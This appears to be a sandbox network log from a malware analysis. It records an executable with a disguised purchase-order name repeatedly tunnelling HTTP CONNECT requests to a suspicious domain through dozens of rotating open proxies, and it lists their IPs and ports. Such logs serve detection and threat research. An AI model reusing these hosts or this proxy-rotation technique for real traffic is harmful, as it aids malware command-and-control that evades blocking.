Mar 11, 2024 16:42:33.350317955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.173063993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.188848972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.282584906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.313554049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1832	192.168.2.11	55160	194.4.50.132	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.353504896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1833	192.168.2.11	54709	75.84.199.80	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.364180088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.376321077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.376580954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.376003027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.469733953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.469753981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:21.469733000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:45.469630003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:33.578954935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1834	192.168.2.11	49795	201.71.3.60	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.402730942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.642587900 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1835	192.168.2.11	55161	79.110.201.235	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.467072964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1836	192.168.2.11	55166	131.186.37.99	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.467255116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1837	192.168.2.11	55180	192.111.130.5	17002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.477731943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1838	192.168.2.11	49829	163.172.147.9	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.484033108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.485614061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.486202002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.501219988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.579152107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.579101086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:21.579030037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:45.579076052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:33.579201937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1839	192.168.2.11	49805	196.202.40.17	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.566452980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689218998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.782888889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.782238007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.782974005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.878120899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:21.985306025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:46.079005003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:34.078954935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1840	192.168.2.11	54746	217.27.149.190	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.569597960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1841	192.168.2.11	54744	178.253.236.139	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.579443932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.958051920 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 819 Content-Type: text/html Date: Thu, 02 Apr 1970 01:33:20 GMT Expires: Thu, 02 Apr 1970 01:33:20 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1842	192.168.2.11	54768	103.188.168.66	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.584790945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1843	192.168.2.11	53276	72.37.217.3	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.597976923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1844	192.168.2.11	49911	192.99.207.129	13003	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.617292881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.735358000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1845	192.168.2.11	55141	112.5.33.179	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.628565073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1846	192.168.2.11	49988	51.89.173.40	23854	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.699515104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1847	192.168.2.11	49979	107.180.88.173	59820	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.699543953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.876023054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.986099005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.985836983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.079107046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:22.172823906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:10.282067060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1848	192.168.2.11	49944	38.253.232.2	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.736566067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.765245914 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.11	55151	98.162.25.23	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.767400980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.11	50000	163.172.165.36	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.780392885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.876291990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.986098051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.985838890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.079201937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.11	55194	194.4.50.132	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.793158054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.11	54873	51.79.87.144	8533	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:33.872776985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.641906023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.141825914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.282326937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:31.297835112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
